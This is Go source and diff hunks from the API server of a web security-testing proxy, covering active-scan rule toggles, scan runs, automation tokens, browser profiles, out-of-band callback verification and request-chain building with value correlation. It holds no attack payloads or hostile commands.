// filterInScope keeps only URLs that pass scope, returning the kept set and the
// number dropped. With scope filtering disabled, InScope is true for all.
func (s *APIServer) filterInScope(urls []activescan.TargetURL) (kept []activescan.TargetURL, skipped int) {
for _, tu := range urls {
u, err := url.Parse(tu.URL)
if err != nil {
skipped++
continue
}
method := tu.Method
if method == "" {
method = "GET"
}
if s.scope.InScope(u.Host, method, u.Path) {
kept = append(kept, tu)
} else {
skipped++
}
}
return kept, skipped
}
// activeRuleSeverity is the representative severity shown for a single-row active
// rule in the Rules UI; the actual findings carry their own confirmed severity.
func activeRuleSeverity(cat detect.Category) detect.Severity {
switch cat {
case detect.CategorySQLi, detect.CategorySSTI, detect.CategoryCommandInjection:
return detect.SeverityCritical
case detect.CategoryOpenRedirect:
return detect.SeverityMedium
default:
return detect.SeverityHigh
}
}
func (s *APIServer) handleActiveScanRules(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rules := s.activeScanRules.All()
out := make([]map[string]any, 0, len(rules))
for _, rule := range rules {
entry := map[string]any{
"id": rule.ID(), "name": rule.Name(), "category": string(rule.Category()),
"description": rule.Description(),
"enabled": s.activeScanRules.IsEnabled(rule.ID()),
}
// hasSignatures tells the UI to render the rule's catalog items as rows rather
// than the rule as a single row: any rule implementing Cataloger has a catalog.
_, hasCatalog := rule.(activescan.Cataloger)
entry["hasSignatures"] = hasCatalog
// A single-row rule carries the row's severity/confidence/target (its
// representative class severity); a catalog rule's rows carry their own.
if !hasCatalog {
entry["severity"] = string(activeRuleSeverity(rule.Category()))
entry["confidence"] = string(detect.ConfidenceHigh)
entry["target"] = string(detect.TargetMessage)
}
out = append(out, entry)
}
writeJSON(w, http.StatusOK, map[string]any{"rules": out})
}
// handleSetActiveScanRuleEnabled toggles whether a rule runs when a scan is
// started without an explicit rule selection. The toggle persists with the
// project, so it marks the config dirty. Mirrors handleSetDetectRuleEnabled.
func (s *APIServer) handleSetActiveScanRuleEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
id := r.PathValue("id")
if s.activeScanRules.Get(id) == nil {
writeError(w, http.StatusNotFound, "no such rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
s.activeScanRules.SetEnabled(id, body.Enabled)
// The toggle is picked up by the next autosave tick, which compares
// projectSignature (now carrying the disabled set); no explicit save here.
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// collectDisabledItems gathers every catalog rule's disabled item ids, keyed by rule
// id, for the project file. Returns nil when nothing is disabled (exceptions-only).
func (s *APIServer) collectDisabledItems() map[string][]string {
if s.activeScanRules == nil {
return nil
}
out := map[string][]string{}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
if d := c.DisabledItems(); len(d) > 0 {
out[rule.ID()] = d
}
}
}
if len(out) == 0 {
return nil
}
return out
}
// applyDisabledItems distributes a rule-keyed disabled-items map back onto the catalog
// rules on a project restore; a missing key clears that rule's set (everything enabled).
func (s *APIServer) applyDisabledItems(m map[string][]string) {
if s.activeScanRules == nil {
return
}
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
c.SetDisabledItems(m[rule.ID()])
}
}
}
// disabledItemsSignature fingerprints every catalog rule's disabled set for the
// autosave dirty-check (registration order is stable, so the string is deterministic).
func (s *APIServer) disabledItemsSignature() string {
if s.activeScanRules == nil {
return ""
}
var b strings.Builder
for _, rule := range s.activeScanRules.All() {
if c, ok := rule.(activescan.Cataloger); ok {
b.WriteString("/ci:" + rule.ID() + ":" + strings.Join(c.DisabledItems(), ","))
}
}
return b.String()
}
// catalogRule returns the rule with the given id as a Cataloger, or nil if the rule
// does not exist or has no catalog. It replaces the old templatesig-specific resolver,
// so any catalog rule (template signatures, the injection rules) works generically.
func (s *APIServer) catalogRule(id string) activescan.Cataloger {
if s.activeScanRules == nil {
return nil
}
c, _ := s.activeScanRules.Get(id).(activescan.Cataloger)
return c
}
// handleActiveScanSignatures returns a rule's read-only catalog — one item per
// signature or check, with its enabled-state and per-severity counts.
func (s *APIServer) handleActiveScanSignatures(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
items := rule.CatalogItems()
bySeverity := map[string]int{}
for i := range items {
bySeverity[items[i].Severity]++
}
writeJSON(w, http.StatusOK, map[string]any{
"signatures": items, "total": len(items), "bySeverity": bySeverity,
})
}
// handleSetActiveScanSignaturesBulk enables or disables every item of a rule's
// catalog in one call — the "Enable all / Disable all" control.
func (s *APIServer) handleSetActiveScanSignaturesBulk(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if body.Enabled {
rule.SetDisabledItems(nil)
} else {
items := rule.CatalogItems()
ids := make([]string, 0, len(items))
for i := range items {
ids = append(ids, items[i].ID)
}
rule.SetDisabledItems(ids)
}
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
// handleSetActiveScanSignatureEnabled toggles one catalog item of a rule. Rule-scoped
// because check ids (e.g. "time-based") can repeat across rules. Persists with the
// project (projectSignature carries the disabled set), like the rule toggle.
func (s *APIServer) handleSetActiveScanSignatureEnabled(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
rule := s.catalogRule(r.PathValue("id"))
if rule == nil {
writeError(w, http.StatusNotFound, "no catalog for this rule")
return
}
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
rule.SetItemEnabled(r.PathValue("itemId"), body.Enabled)
writeJSON(w, http.StatusOK, map[string]any{"enabled": body.Enabled})
}
func (s *APIServer) handleActiveScanListRuns(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
runs := s.activeScans.List()
out := make([]map[string]any, 0, len(runs))
for _, run := range runs {
out = append(out, activeScanHead(run))
}
writeJSON(w, http.StatusOK, map[string]any{"runs": out})
}
func activeScanHead(run *activescan.Run) map[string]any {
completed, errs, findings := run.Counts()
return map[string]any{
"id": run.ID, "host": run.Host, "origin": run.Origin, "scope": run.Scope,
"rules": run.Rules, "status": string(run.Status()), "total": run.Total,
"completed": completed, "errors": errs, "findings": findings,
"createdAt": run.CreatedAt,
}
}
func (s *APIServer) handleActiveScanGetRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
body := activeScanHead(run)
body["errorMessages"] = run.Errors()
writeJSON(w, http.StatusOK, body)
}
func (s *APIServer) handleActiveScanStopRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if !run.Stop() {
writeError(w, http.StatusConflict, "run is not running")
return
}
writeJSON(w, http.StatusOK, map[string]any{"stopped": true})
}
func (s *APIServer) handleActiveScanDeleteRun(w http.ResponseWriter, r *http.Request) {
if !s.activeScanAvailable(w) {
return
}
run := s.activeScans.Get(r.PathValue("id"))
if run == nil {
writeError(w, http.StatusNotFound, "no such run")
return
}
if run.Status() == activescan.StatusRunning {
writeError(w, http.StatusConflict, "stop the run before deleting it")
return
}
s.activeScans.Delete(run.ID)
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
+12 -4
View File
@@ -117,7 +117,7 @@ func (s *APIServer) handleCreateAutomationToken(w http.ResponseWriter, r *http.R
return
}
var body createTokenReq
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -173,7 +173,7 @@ func (s *APIServer) handleUpdateAutomationToken(w http.ResponseWriter, r *http.R
return
}
var body updateTokenReq
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -224,6 +224,10 @@ func (s *APIServer) handleRotateAutomationToken(w http.ResponseWriter, r *http.R
if !s.requireAutomation(w) {
return
}
// Reads no body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
id := r.PathValue("id")
tok, secret, err := s.autoStore.Rotate(id)
if err != nil {
@@ -242,7 +246,7 @@ func (s *APIServer) handleSetAutomationTokenEnabled(w http.ResponseWriter, r *ht
var body struct {
Enabled bool `json:"enabled"`
}
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -265,6 +269,10 @@ func (s *APIServer) handleReviewAutomationToken(w http.ResponseWriter, r *http.R
if !s.requireAutomation(w) {
return
}
// Reads no body; see requireLocalOrigin.
if !requireLocalOrigin(w, r) {
return
}
fp := s.capRegistry.Fingerprint()
v := s.buildInfo.Version
tok, err := s.autoStore.Update(r.PathValue("id"), automation.UpdateParams{
@@ -392,7 +400,7 @@ func (s *APIServer) handleSetMCPState(w http.ResponseWriter, r *http.Request) {
Enabled *bool `json:"enabled"`
Port *int `json:"port"`
}
if err := decodeJSON(r, &body); err != nil {
if err := decodeAutomationJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
+17 -9
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"fmt"
"net/http"
"path/filepath"
@@ -26,8 +25,12 @@ func (s *APIServer) handleBrowserLaunch(w http.ResponseWriter, r *http.Request)
var body struct {
URL string `json:"url"`
}
if r.Body != nil {
json.NewDecoder(r.Body).Decode(&body) //nolint:errcheck
// Optional: launching with no start URL is the common case. A body that was sent and
// could not be read is reported rather than ignored — silently launching at the
// default page would look like the requested URL was simply refused.
if err := decodeJSONOptional(r, &body, maxJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
path, name, ok := browser.Find()
@@ -86,12 +89,17 @@ func (s *APIServer) browserProfile() (key, dir string, ephemeral bool) {
active := s.activeProjectConfig
s.mu.RUnlock()
ephemeral = active == ""
key = active
if key == "" {
key = "default"
}
key = sanitizeProfileKey(key)
return key, filepath.Join(s.cfg.DataDir, "browser-profiles", key), ephemeral
key = sanitizeProfileKey(active)
return key, s.profileDirFor(active), ephemeral
}
// profileDirFor maps a project name to its testing-browser profile directory.
// The empty name is the no-project "default" profile. Every caller that needs a
// profile path goes through here, so the name-to-directory mapping has one
// definition — deleting a project's profile must resolve to the same directory
// the launch created.
func (s *APIServer) profileDirFor(project string) string {
return filepath.Join(s.cfg.DataDir, "browser-profiles", sanitizeProfileKey(project))
}
// sanitizeProfileKey maps a project name to a filesystem-safe directory name.
+39 -27
View File
@@ -1,7 +1,6 @@
package api
import (
"encoding/json"
"fmt"
"io"
"net/http"
@@ -12,15 +11,20 @@ import (
"github.com/BishopFox/joro/internal/callback"
)
// proxyToListener forwards a request to the remote listener and copies the response back.
// Returns true if the response was handled (either forwarded or errored).
// proxyToListener forwards a request to the remote listener and writes its status and body
// back. Returns true if the response was handled (either forwarded or errored).
//
// Response headers are not copied. Every route reaching this function returns JSON, so the
// content type is set here, and the body is copied whole rather than capped — a response
// may carry a screenshot as a data: URI inside its JSON. The client timeout below bounds
// the transfer.
func (s *APIServer) proxyToListener(w http.ResponseWriter, r *http.Request) bool {
s.mu.RLock()
listenerURL := s.settings.ListenerURL
s.mu.RUnlock()
if listenerURL == "" {
writeError(w, http.StatusServiceUnavailable, "Listener URL not configured - set it in the Interact tab")
writeError(w, http.StatusServiceUnavailable, "Listener URL not configured - set it in Settings > Project > Team Server")
return true
}
@@ -55,12 +59,7 @@ func (s *APIServer) proxyToListener(w http.ResponseWriter, r *http.Request) bool
}
defer resp.Body.Close()
// Copy response headers and body back.
for k, vv := range resp.Header {
for _, v := range vv {
w.Header().Add(k, v)
}
}
w.Header().Set("Content-Type", "application/json")
w.WriteHeader(resp.StatusCode)
io.Copy(w, resp.Body) //nolint:errcheck
return true
@@ -90,7 +89,7 @@ func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
var body struct {
Note string `json:"note"`
}
if err := json.NewDecoder(r.Body).Decode(&body); err != nil {
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
@@ -102,6 +101,35 @@ func (s *APIServer) handleCreateToken(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusCreated, token)
}
// handleVerifyCallback confirms that a value observed out of band (reflected in a
// target response, read from a protocol field) is the response hash this server
// derives for a token — so OAST tooling can validate a hit without reimplementing
// the derivation. The derivation is public (sha256 of the token), so this leaks
// nothing; it exists to spare clients the reimplementation and to return the
// owning token's ID when the value matches a live token.
func (s *APIServer) handleVerifyCallback(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var body struct {
Token string `json:"token"`
Value string `json:"value"`
}
if err := decodeJSON(r, &body); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
valid := body.Token != "" && callback.ResponseHash(body.Token) == strings.TrimSpace(body.Value)
resp := map[string]any{"valid": valid}
if valid {
if tok, err := s.cbStore.FindTokenByHex(body.Token); err == nil {
resp["tokenId"] = tok.ID
}
}
writeJSON(w, http.StatusOK, resp)
}
func (s *APIServer) handleDeleteToken(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
@@ -169,22 +197,6 @@ func (s *APIServer) handleGetCallbackConfig(w http.ResponseWriter, r *http.Reque
writeJSON(w, http.StatusOK, cfg)
}
func (s *APIServer) handleUpdateCallbackConfig(w http.ResponseWriter, r *http.Request) {
if !s.listenerMode {
s.proxyToListener(w, r)
return
}
var cfg callback.CallbackConfig
if err := json.NewDecoder(r.Body).Decode(&cfg); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if err := s.cbStore.SetConfig(&cfg); err != nil {
writeError(w, http.StatusInternalServerError, err.Error())
return
}
writeJSON(w, http.StatusOK, cfg)
}
func (s *APIServer) handleGetMode(w http.ResponseWriter, r *http.Request) {
mode := "proxy"
if s.teamServerMode {
+636
View File
@@ -0,0 +1,636 @@
package api
import (
"encoding/base64"
"fmt"
"net/http"
"sort"
"strconv"
"strings"
"github.com/BishopFox/joro/internal/chain"
"github.com/BishopFox/joro/internal/httptools"
"github.com/BishopFox/joro/internal/proxy"
)
// maxRecordCandidates bounds what a record window hands back for trimming. A
// recording left running over a browsing session would otherwise return the whole
// capture ring.
const maxRecordCandidates = 500
func (s *APIServer) handleChainListChains(w http.ResponseWriter, r *http.Request) {
chains := s.chainStore.List()
out := make([]map[string]any, 0, len(chains))
for _, c := range chains {
out = append(out, chainSummaryBody(c))
}
writeJSON(w, http.StatusOK, map[string]any{"chains": out})
}
// chainSummaryBody is the list projection: enough to render the picker without
// shipping every step's raw bytes, which are megabytes across a project.
func chainSummaryBody(c *chain.Chain) map[string]any {
hosts := map[string]bool{}
for _, st := range c.Steps {
hosts[st.Host] = true
}
list := make([]string, 0, len(hosts))
for h := range hosts {
list = append(list, h)
}
sort.Strings(list)
return map[string]any{
"id": c.ID, "name": c.Name,
"steps": len(c.Steps), "bindings": len(c.Bindings),
"hosts": list, "createdAt": c.CreatedAt, "updatedAt": c.UpdatedAt,
}
}
func (s *APIServer) handleChainGetChain(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
writeJSON(w, http.StatusOK, chainBody(c))
}
// chainBody renders a chain with its raws base64-encoded. Raw bytes are not
// JSON-safe and a captured request routinely is not UTF-8.
func chainBody(c *chain.Chain) map[string]any {
steps := make([]map[string]any, 0, len(c.Steps))
for _, st := range c.Steps {
steps = append(steps, map[string]any{
"id": st.ID, "label": st.Label, "scheme": st.Scheme, "host": st.Host,
"reqRaw": base64.StdEncoding.EncodeToString(st.ReqRaw),
"respRaw": base64.StdEncoding.EncodeToString(st.RespRaw),
"originSeq": st.OriginSeq, "setup": st.Setup, "edits": st.Edits,
"method": chain.MethodOf(st.ReqRaw),
})
}
return map[string]any{
"id": c.ID, "name": c.Name, "goalStepId": c.GoalStepID,
"steps": steps, "bindings": c.Bindings,
"createdAt": c.CreatedAt, "updatedAt": c.UpdatedAt,
}
}
// chainInput is the write shape. Raws arrive base64 for the same reason they
// leave that way.
type chainInput struct {
Name string `json:"name"`
GoalStepID string `json:"goalStepId"`
Steps []struct {
ID string `json:"id"`
Label string `json:"label"`
Scheme string `json:"scheme"`
Host string `json:"host"`
ReqRaw string `json:"reqRaw"`
RespRaw string `json:"respRaw"`
OriginSeq int `json:"originSeq"`
Setup bool `json:"setup"`
Edits []httptools.Edit `json:"edits"`
} `json:"steps"`
Bindings []chain.Binding `json:"bindings"`
}
func (in chainInput) toChain() (*chain.Chain, error) {
c := &chain.Chain{Name: in.Name, GoalStepID: in.GoalStepID, Bindings: in.Bindings}
for i, st := range in.Steps {
req, err := base64.StdEncoding.DecodeString(st.ReqRaw)
if err != nil {
return nil, fmt.Errorf("step %d: request is not valid base64", i+1)
}
resp, err := base64.StdEncoding.DecodeString(st.RespRaw)
if err != nil {
return nil, fmt.Errorf("step %d: response is not valid base64", i+1)
}
step := chain.Step{
ID: st.ID, Label: st.Label, Scheme: st.Scheme, Host: st.Host,
ReqRaw: req, RespRaw: resp, OriginSeq: st.OriginSeq, Setup: st.Setup,
Edits: st.Edits,
}
if step.Label == "" {
step.Label = chain.Label(req)
}
c.Steps = append(c.Steps, step)
}
return c, nil
}
func (s *APIServer) handleChainCreateChain(w http.ResponseWriter, r *http.Request) {
var in chainInput
if err := decodeJSONLimit(r, &in, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
c, err := in.toChain()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
chain.Reindex(c)
saved, err := s.chainStore.Create(c)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusCreated, chainBody(saved))
}
func (s *APIServer) handleChainUpdateChain(w http.ResponseWriter, r *http.Request) {
id := r.PathValue("id")
if s.chainStore.Get(id) == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
var in chainInput
if err := decodeJSONLimit(r, &in, maxBulkJSONBody); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
c, err := in.toChain()
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
saved, err := s.chainStore.Update(id, c)
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
writeJSON(w, http.StatusOK, chainBody(saved))
}
func (s *APIServer) handleChainDeleteChain(w http.ResponseWriter, r *http.Request) {
// A run holds a snapshot of the chain, so deleting one does not disturb a run
// in flight and there is nothing to refuse here.
if !s.chainStore.Delete(r.PathValue("id")) {
writeError(w, http.StatusNotFound, "no such chain")
return
}
writeJSON(w, http.StatusOK, map[string]any{"deleted": true})
}
// chainFromHistoryRequest builds a chain out of selected History rows, or
// appends them to one that already exists.
type chainFromHistoryRequest struct {
Name string `json:"name"`
Seqs []int `json:"seqs"`
// ChainID appends to an existing chain instead of creating one. History has
// one selected row at a time, so a chain is built a step at a time; appending
// server-side is what lets correlation re-run over the extended chain and
// wire the new step to values the earlier ones already produce.
ChainID string `json:"chainId,omitempty"`
}
// handleChainFromHistory is the primary way a chain comes into existence.
//
// Rows are addressed by Seq rather than by id: it is the handle the capture store
// is indexed on, and the only one a client can hold across a page reload without
// carrying raw bytes through history.pushState.
func (s *APIServer) handleChainFromHistory(w http.ResponseWriter, r *http.Request) {
var req chainFromHistoryRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
if len(req.Seqs) == 0 {
writeError(w, http.StatusBadRequest, "select at least one request")
return
}
if len(req.Seqs) > chain.MaxSteps {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("%d requests exceeds the limit of %d steps", len(req.Seqs), chain.MaxSteps))
return
}
// Ascending, because a chain is an ordering and the order the rows were
// clicked in is not it.
seqs := append([]int(nil), req.Seqs...)
sort.Ints(seqs)
// A non-positive seq is a malformed request, not an evicted one, and the two
// need different words. Reporting a client that sent 0 or null as "no longer
// in the capture buffer" sends whoever is debugging it to look at eviction,
// which is exactly the wrong place — and is how a client sending undefined
// went unnoticed.
for _, seq := range seqs {
if seq <= 0 {
writeError(w, http.StatusBadRequest,
"no valid request sequence numbers were supplied")
return
}
}
steps := make([]chain.Step, 0, len(seqs))
var missing []int
for _, seq := range seqs {
item := s.store.GetBySeq(seq)
if item == nil {
missing = append(missing, seq)
continue
}
steps = append(steps, chainStepFromCapture(item))
}
if len(steps) == 0 {
writeError(w, http.StatusBadRequest, "none of those requests are still in the capture buffer")
return
}
var saved *chain.Chain
var err error
if req.ChainID != "" {
existing := s.chainStore.Get(req.ChainID)
if existing == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
existing.Steps = append(existing.Steps, steps...)
if len(existing.Steps) > chain.MaxSteps {
writeError(w, http.StatusBadRequest,
fmt.Sprintf("that would make %d steps, over the limit of %d", len(existing.Steps), chain.MaxSteps))
return
}
// Reindex before correlating: correlation records byte spans against step
// ids, so it has to run after the ids are final.
chain.Reindex(existing)
for i := range existing.Steps {
if existing.Steps[i].Label == "" {
existing.Steps[i].Label = chain.Label(existing.Steps[i].ReqRaw)
}
}
existing.Bindings = mergeBindings(existing.Bindings, chain.Correlate(existing))
saved, err = s.chainStore.Update(existing.ID, existing)
} else {
name := strings.TrimSpace(req.Name)
if name == "" {
name = "chain"
}
c := chain.New(name, steps)
// Correlate on the way in. A chain that arrives already wired is the
// difference between a usable artifact and a list of requests the
// operator has to hand-thread a CSRF token through.
c.Bindings = chain.Correlate(c)
saved, err = s.chainStore.Create(c)
}
if err != nil {
writeError(w, http.StatusBadRequest, err.Error())
return
}
resp := chainBody(saved)
if len(missing) > 0 {
resp["warning"] = fmt.Sprintf("%d selected requests were no longer in the capture buffer", len(missing))
}
writeJSON(w, http.StatusCreated, resp)
}
func chainStepFromCapture(item *proxy.CapturedRequest) chain.Step {
scheme := "https"
if strings.HasPrefix(strings.ToLower(item.URL), "http://") {
scheme = "http"
}
return chain.Step{
Scheme: scheme,
Host: item.Host,
ReqRaw: append([]byte(nil), item.ReqRaw...),
RespRaw: append([]byte(nil), item.RespRaw...),
OriginSeq: item.Seq,
}
}
// handleChainRecordStart returns the capture watermark to record from.
//
// Recording reads the store forward from a cursor rather than hooking the proxy,
// which is the arrangement internal/detect's scanner already documents: no second
// path through the capture hot loop, and nothing to unwind if the operator
// navigates away without stopping.
func (s *APIServer) handleChainRecordStart(w http.ResponseWriter, r *http.Request) {
writeJSON(w, http.StatusOK, map[string]any{"cursor": s.store.LastSeq()})
}
type chainRecordStopRequest struct {
Cursor int `json:"cursor"`
Host string `json:"host,omitempty"`
ScopeOnly bool `json:"scopeOnly,omitempty"`
}
// handleChainRecordStop returns the candidate rows captured since the cursor, for
// the operator to trim into steps. It creates nothing: a recording is a selection
// aid, and a chain built from unreviewed traffic is mostly analytics beacons.
func (s *APIServer) handleChainRecordStop(w http.ResponseWriter, r *http.Request) {
var req chainRecordStopRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
items := s.store.SinceSeq(req.Cursor, maxRecordCandidates)
host := strings.ToLower(strings.TrimSpace(req.Host))
out := make([]map[string]any, 0, len(items))
for _, it := range items {
if host != "" && !strings.Contains(strings.ToLower(it.Host), host) {
continue
}
if req.ScopeOnly && !s.scope.HostInScope(it.Host) {
continue
}
out = append(out, map[string]any{
"seq": it.Seq, "method": it.Method, "url": it.URL, "host": it.Host,
"status": it.StatusCode, "contentType": it.ContentType,
"size": it.ResponseSize, "timestamp": it.Timestamp,
"label": chain.Label(it.ReqRaw),
})
}
// Ascending: SinceSeq walks backwards from newest, and a recording reads
// forwards.
sort.Slice(out, func(i, j int) bool { return out[i]["seq"].(int) < out[j]["seq"].(int) })
writeJSON(w, http.StatusOK, map[string]any{"candidates": out, "cursor": s.store.LastSeq()})
}
// handleChainCorrelate proposes bindings and persists nothing.
//
// A proposal, like a render is a preview: correlation is a heuristic over
// entropy and literal occurrence, and writing its guesses straight into the chain
// would put the operator in the position of un-picking them.
func (s *APIServer) handleChainCorrelate(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
// Re-keyed before they leave: the client appends accepted proposals straight
// into the open chain.
proposed := assignBindingIDs(c.Bindings, chain.Correlate(c))
// Report which proposals are new, so the UI can offer them without
// discarding bindings the operator has already accepted or hand-written.
existing := map[string]bool{}
for _, b := range c.Bindings {
existing[bindingKey(b)] = true
}
out := make([]map[string]any, 0, len(proposed))
for _, b := range proposed {
out = append(out, map[string]any{"binding": b, "isNew": !existing[bindingKey(b)]})
}
writeJSON(w, http.StatusOK, map[string]any{"proposed": out})
}
// mergeBindings keeps every existing binding and adds only proposals that are
// not already present.
//
// Additive rather than replacing, because a re-correlation must not discard a
// binding the operator hand-wrote, renamed, or set to send its recorded value.
func mergeBindings(existing, proposed []chain.Binding) []chain.Binding {
have := make(map[string]bool, len(existing))
for _, b := range existing {
have[bindingKey(b)] = true
}
fresh := make([]chain.Binding, 0, len(proposed))
for _, b := range proposed {
if have[bindingKey(b)] {
continue
}
fresh = append(fresh, b)
have[bindingKey(b)] = true
}
return append(append([]chain.Binding(nil), existing...), assignBindingIDs(existing, fresh)...)
}
// assignBindingIDs re-keys proposals against the ids a chain already holds.
//
// Correlate numbers from one every run, and a count of the existing bindings is
// not the next free id once one has been deleted — so the collision surfaces as
// a refused save, several clicks from the accept that caused it.
func assignBindingIDs(existing, proposed []chain.Binding) []chain.Binding {
taken := make(map[string]bool, len(existing))
for _, b := range existing {
taken[b.ID] = true
}
next := 1
out := make([]chain.Binding, 0, len(proposed))
for _, b := range proposed {
for {
id := "b" + strconv.Itoa(next)
next++
if !taken[id] {
b.ID = id
taken[id] = true
break
}
}
out = append(out, b)
}
return out
}
// bindingKey identifies a binding by what it does rather than by its id, so a
// re-run of correlation recognizes a proposal the operator already accepted.
func bindingKey(b chain.Binding) string {
var sb strings.Builder
sb.WriteString(b.FromStep)
sb.WriteString(">")
sb.WriteString(b.ToStep)
sb.WriteString(">")
sb.WriteString(b.Source.Kind)
sb.WriteString(":")
sb.WriteString(b.Source.Name)
sb.WriteString(b.Source.Path)
for _, sp := range b.Spans {
fmt.Fprintf(&sb, "@%d-%d", sp.Start, sp.End)
}
return sb.String()
}
// chainPreviewRequest renders a variant without sending it.
type chainPreviewRequest struct {
VariantID string `json:"variantId"`
Kinds []string `json:"kinds,omitempty"`
}
// handleChainPreview renders every step of one variant and never sends.
//
// The cheap way to confirm substitution is right before arming a sweep that
// creates real orders. Values a previous step would have produced are unknown
// here, so a step that consumes one renders as unresolved — which is exactly what
// the run would do, and is the point: the preview shows where an ordering breaks
// before it costs anything.
func (s *APIServer) handleChainPreview(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
var req chainPreviewRequest
if err := decodeJSON(r, &req); err != nil {
writeError(w, http.StatusBadRequest, "invalid JSON")
return
}
variants := chain.GenerateVariants(c, req.Kinds)
var chosen *chain.Variant
for i := range variants {
if variants[i].ID == req.VariantID || req.VariantID == "" {
chosen = &variants[i]
break
}
}
if chosen == nil {
writeError(w, http.StatusNotFound, "no such variant")
return
}
// Seed the table with each binding's recorded value so the preview shows the
// substitution actually happening. A run resolves these from live responses;
// here there are none, and rendering every step unresolved would show the
// operator nothing about whether the spans are right.
vars := chain.Vars{}
for _, b := range c.Bindings {
vars[b.Var] = b.Recorded
}
steps := make([]map[string]any, 0, len(chosen.Steps))
for _, id := range chosen.Steps {
st, _, ok := c.StepByID(id)
if !ok {
continue
}
raw, missing, err := chain.Render(c, st, vars)
entry := map[string]any{"stepId": id, "label": st.Label}
switch {
case err != nil:
entry["error"] = err.Error()
case len(missing) > 0:
entry["missing"] = missing
default:
entry["raw"] = base64.StdEncoding.EncodeToString(raw)
}
steps = append(steps, entry)
}
writeJSON(w, http.StatusOK, map[string]any{"variant": chosen, "steps": steps})
}
// chainBindPreviewRequest is one operator-chosen value offered for binding.
//
// The value, not an offset: the pane shows the decoded response, whose offsets
// mean nothing against the recorded bytes. Base64 because a run of bytes out of
// a response is not reliably UTF-8.
type chainBindPreviewRequest struct {
FromStep string `json:"fromStep"`
Value string `json:"value"`
Occurrence int `json:"occurrence,omitempty"`
Source *chain.Source `json:"source,omitempty"`
ToSteps []string `json:"toSteps,omitempty"`
Spans map[string][]chain.Span `json:"spans,omitempty"`
}
// handleChainBindPreview proposes bindings for one value and persists nothing.
//
// A proposal, like correlation: nothing here is confirmed against a live
// response. It reuses correlation's envelope so the client has one accept path.
func (s *APIServer) handleChainBindPreview(w http.ResponseWriter, r *http.Request) {
c := s.chainStore.Get(r.PathValue("id"))
if c == nil {
writeError(w, http.StatusNotFound, "no such chain")
return
}
var req chainBindPreviewRequest
if err := decodeJSON(r, &req); err != nil {
